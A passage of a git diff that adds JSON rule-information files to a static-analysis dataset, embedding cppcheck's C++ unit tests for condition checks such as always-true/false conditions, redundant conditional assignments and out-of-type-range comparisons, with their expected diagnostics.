ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { a--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (style) Condition 'a+1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueFalseInLogicalOperators() {\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = true; if(x||b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(true||b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = false; if(x&&b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(false&&b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9578\n check(\"bool f(const std::string &s) {\\n\"\n \" return s.size()>2U && s[0]=='4' && s[0]=='2';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:35] -> [test.cpp:2:48]: (style) Return value 's[0]=='2'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) { if (i == 1 || 2) {} }\\n\"); // #12487\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Condition 'i==1||2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"enum E { E1 = 1, E2 = 2 };\\n\"\n \"void f(int i) { if (i == E1 || E2) {} }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:29]: (style) Condition 'i==E1||E2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void pointerAdditionResultNotNull() {\n check(\"void f(char *ptr) {\\n\"\n \" if (ptr + 1 != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison is wrong. Result of 'ptr+1' can't be 0 unless there is pointer overflow, and pointer overflow is undefined behaviour. [pointerAdditionResultNotNull]\\n\", errout_str());\n }\n\n void duplicateConditionalAssign() {\n setMultiline();\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The statement 'if (x!=y) x=y' is logically equivalent to 'x=y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y'\\n\"\n \"[test.cpp:2:11]: note: Condition 'x!=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f(int& x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" x = y;\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" b = false;\\n\"\n \" else\\n\"\n \" g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" if (!i)\\n\"\n \" i = 1; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #9406\n \" S() : b(false) {}\\n\"\n \" void f() {\\n\"\n \" if (b) b = true;\\n\"\n \" if (b) b = false;\\n\"\n \" if (!b) b = true;\\n\"\n \" if (!b) b = false;\\n\"\n \" }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: style: The statement 'if (b) b=true' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:4:18]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:4:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:5:13]: style: The statement 'if (b) b=false' is logically equivalent to 'b=false'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:5:18]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:5:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:6:13]: style: The statement 'if (!b) b=true' is logically equivalent to 'b=true'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:6:19]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:6:13]: note: Condition '!b' is redundant\\n\"\n \"[test.cpp:7:13]: style: The statement 'if (!b) b=false' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:7:19]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:7:13]: note: Condition '!b' is redundant\\n\",\n errout_str());\n }\n\n void checkAssignmentInCondition() {\n check(\"void f(std::string s) {\\n\"\n \" if (s=\\\"123\\\"){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Suspicious assignment in condition. Condition 's=\\\"123\\\"' is always true. [assignmentInCondition]\\n\", errout_str());\n\n check(\"void f(std::string *p) {\\n\"\n \" if (p=foo()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(uint32_t u) {\\n\" // #2490\n \" if ((u = 0x00000000) || (u = 0xffffffff)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Condition 'u=0x00000000' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:32]: (style) Condition 'u=0xffffffff' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void compareOutOfTypeRange() {\n const Settings settingsUnix64 = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char* b, int i) {\\n\" // #6372\n \" if (b[i] == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 255) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b == true) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10372\n check(\"void f(signed char x) {\\n\"\n \" if (x == 0xff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(short x) {\\n\"\n \" if (x == 0xffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed short' against value 65535. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0xffffffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long x) {\\n\"\n \" if (x == ~0L) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long long x) {\\n\"\n \" if (x == ~0LL) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" const int i = 0xFFFFFFFF;\\n\"\n \" if (x == i) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c;\\n\"\n \" if ((c = foo()) != -1) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3000000000) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Comparing expression of type 'signed int' against value 3000000000. Condition is always true. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(const signed char i) {\\n\" // #8545\n \" if (i > -129) {}\\n\" // warn\n \" if (i >= -128) {}\\n\" // warn\n \" if (i >= -127) {}\\n\"\n \" if (i < +128) {}\\n\" // warn\n \" if (i <= +127) {}\\n\" // warn\n \" if (i <= +126) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'const signed char' against value -129. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:3:15]: (style) Comparing expression of type 'const signed char' against value -128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:5:15]: (style) Comparing expression of type 'const signed char' against value 128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:15]: (style) Comparing expression of type 'const signed char' against value 127. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n\n check(\"void f(const unsigned char u) {\\n\"\n \" if (u > 0) {}\\n\"\n \" if (u < 0) {}\\n\" // warn\n \" if (u >= 0) {}\\n\" // warn\n \" if (u <= 0) {}\\n\"\n \" if (u > 255) {}\\n\" // warn\n \" if (u < 255) {}\\n\"\n \" if (u >= 255) {}\\n\"\n \" if (u <= 255) {}\\n\" // warn\n \" if (0 < u) {}\\n\"\n \" if (0 > u) {}\\n\" // warn\n \" if (0 <= u) {}\\n\" // warn\n \" if (0 >= u) {}\\n\"\n \" if (255 < u) {}\\n\" // warn\n \" if (255 > u) {}\\n\"\n \" if (255 <= u) {}\\n\"\n \" if (255 >= u) {}\\n\" // warn\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:4:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:9:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:11:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:12:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:14:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:17:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n }\n\n void knownConditionCast() {\n check(\"void f(int i) {\\n\" // #9976\n \" if (i < 0 || (unsigned)i > 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B {\\n\" // #12941\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct One : public B {};\\n\"\n \"struct Two : public B {};\\n\"\n \"void g(const B& b) {\\n\"\n \" const Two* two = nullptr;\\n\"\n \" const One* one = dynamic_cast(&b);\\n\"\n \" if (one == nullptr)\\n\"\n \" two = dynamic_cast(&b);\\n\"\n \" if (two) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionIncrementLoop() { // #9808\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while (++a < 5) {}\\n\"\n \" if (a == 1) {}\\n\"\n \" std::cout << a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionAfterBailout() { // #12526\n check(\n \"#include \\n\"\n \"int func()\\n\"\n \"{\\n\"\n \" return VALUE_1;\"\n \"}\\n\"\n \"\\n\"\n \"struct S1 {\\n\"\n \" bool b{};\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct S {\\n\"\n \" void f(const std::list& l) const\\n\"\n \" {\\n\"\n \" if (mS.b)\\n\"\n \" return;\\n\"\n \" for (int i : l)\\n\"\n \" {\\n\"\n \" (void)i;\\n\"\n \" if (mS.b)\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"\\n\"\n \" S1 mS;\\n\"\n \"};\"\n );\n ASSERT_EQUALS(\"[test.cpp:13:11] -> [test.cpp:18:13]: (style) Condition 'mS.b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void knownConditionIncDecOperator() {\n check(\n \"void f() {\\n\"\n \" unsigned int d = 0;\\n\"\n \" for (int i = 0; i < 4; ++i) {\\n\"\n \" if (i < 3)\\n\"\n \" ++d;\\n\"\n \" else if (--d == 0)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionFloating() {\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11201\n \" float f = 0x1.4p+3;\\n\" // hex fraction 1.4 (decimal 1.25) scaled by 2^3, that is 10.0\n \" if (f > 9.9) {}\\n\"\n \" if (f < 9.9) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:11]: (style) Condition 'f<9.9' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" double d = 1.0;\\n\"\n \" if (d < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'd<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" long double ld = 1.0;\\n\"\n \" if (ld < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'ld<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" float f = 1.0;\\n\"\n \" if (f < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0f;\\n\"\n \" if (f > 1.01f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01f' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0;\\n\"\n \" if (f > 1.01) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00f' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"// #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>+1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'pf>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'pf>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // / #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'nf>-1.0' is always false\\n\",\n \"\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestCondition)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/duplicateCondition.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/duplicateCondition.json new file mode 100644 index 0000000..424f6bb --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/duplicateCondition.json @@ -0,0 +1,22 @@ +{ + "name": "duplicateCondition", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 31, + "branches": 11, + "apis": 29, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 5641 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkcondition.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n\nclass TestCondition : public TestFixture {\npublic:\n TestCondition() : TestFixture(\"TestCondition\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().library(\"qt.cfg\").library(\"std.cfg\").severity(Severity::style).severity(Severity::warning).build();\n /*const*/ Settings settings1 = settingsBuilder().severity(Severity::style).severity(Severity::warning).build();\n\n void run() override {\n const char cfg[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \"\";\n settings1 = settingsBuilder(settings1).libraryxml(cfg).build();\n\n mNewTemplate = true;\n TEST_CASE(assignAndCompare); // assignment and comparison don't match\n TEST_CASE(mismatchingBitAnd); // overlapping bitmasks\n TEST_CASE(comparison); // CheckCondition::comparison test cases\n TEST_CASE(multicompare); // mismatching comparisons\n TEST_CASE(overlappingElseIfCondition); // overlapping conditions in if and else-if\n TEST_CASE(oppositeElseIfCondition); // opposite conditions in if and else-if\n\n TEST_CASE(checkBadBitmaskCheck);\n\n TEST_CASE(incorrectLogicOperator1);\n TEST_CASE(incorrectLogicOperator2);\n TEST_CASE(incorrectLogicOperator3);\n TEST_CASE(incorrectLogicOperator4);\n TEST_CASE(incorrectLogicOperator5); // complex expressions\n TEST_CASE(incorrectLogicOperator6); // char literals\n TEST_CASE(incorrectLogicOperator7); // opposite expressions: (expr || !expr)\n TEST_CASE(incorrectLogicOperator8); // !\n TEST_CASE(incorrectLogicOperator9);\n TEST_CASE(incorrectLogicOperator10); // enum\n TEST_CASE(incorrectLogicOperator11);\n TEST_CASE(incorrectLogicOperator12);\n TEST_CASE(incorrectLogicOperator13);\n TEST_CASE(incorrectLogicOperator14);\n TEST_CASE(incorrectLogicOperator15);\n TEST_CASE(incorrectLogicOperator16); // #10070\n TEST_CASE(incorrectLogicOperator17);\n TEST_CASE(secondAlwaysTrueFalseWhenFirstTrueError);\n TEST_CASE(incorrectLogicOp_condSwapping);\n TEST_CASE(testBug5895);\n TEST_CASE(testBug5309);\n\n TEST_CASE(modulo);\n\n TEST_CASE(oppositeInnerCondition);\n TEST_CASE(oppositeInnerConditionPointers);\n TEST_CASE(oppositeInnerConditionClass);\n TEST_CASE(oppositeInnerConditionUndeclaredVariable);\n TEST_CASE(oppositeInnerConditionAlias);\n TEST_CASE(oppositeInnerCondition2);\n TEST_CASE(oppositeInnerCondition3);\n TEST_CASE(oppositeInnerConditionAnd);\n TEST_CASE(oppositeInnerConditionOr);\n TEST_CASE(oppositeInnerConditionEmpty);\n TEST_CASE(oppositeInnerConditionFollowVar);\n TEST_CASE(oppositeInnerConditionLambda);\n\n TEST_CASE(identicalInnerCondition);\n\n TEST_CASE(identicalConditionAfterEarlyExit);\n TEST_CASE(innerConditionModified);\n\n TEST_CASE(clarifyCondition1); // if (a = b() < 0)\n TEST_CASE(clarifyCondition2); // if (a & b == c)\n TEST_CASE(clarifyCondition3); // if (! a & b)\n TEST_CASE(clarifyCondition4); // ticket #3110\n TEST_CASE(clarifyCondition5); // #3609 CWinTraits..\n TEST_CASE(clarifyCondition6); // #3818\n TEST_CASE(clarifyCondition7);\n TEST_CASE(clarifyCondition8);\n\n TEST_CASE(alwaysTrue);\n TEST_CASE(alwaysTrueSymbolic);\n TEST_CASE(alwaysTrueInfer);\n TEST_CASE(alwaysTrueContainer);\n TEST_CASE(alwaysTrueLoop);\n TEST_CASE(alwaysTrueTryCatch);\n TEST_CASE(multiConditionAlwaysTrue);\n TEST_CASE(duplicateCondition);\n\n TEST_CASE(checkInvalidTestForOverflow);\n TEST_CASE(checkConditionIsAlwaysTrueOrFalseInsideIfWhile);\n TEST_CASE(alwaysTrueFalseInLogicalOperators);\n TEST_CASE(pointerAdditionResultNotNull);\n TEST_CASE(duplicateConditionalAssign);\n\n TEST_CASE(checkAssignmentInCondition);\n TEST_CASE(compareOutOfTypeRange);\n TEST_CASE(knownConditionCast); // #9976\n TEST_CASE(knownConditionIncrementLoop); // #9808\n TEST_CASE(knownConditionAfterBailout); // #12526\n TEST_CASE(knownConditionIncDecOperator);\n TEST_CASE(knownConditionFloating);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* s = nullptr;\n bool cpp = true;\n bool inconclusive = false;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n void check_(const char* file, int line, const char code[], const CheckOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkP_(const char* file, int line, const char code[])\n {\n const Settings settings = settingsBuilder(settings0).severity(Severity::performance).certainty(Certainty::inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n void assignAndCompare() {\n // &\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y == 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y != 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y!=3' is always true. [assignIfError]\\n\", errout_str());\n\n // |\n check(\"void foo(int x) 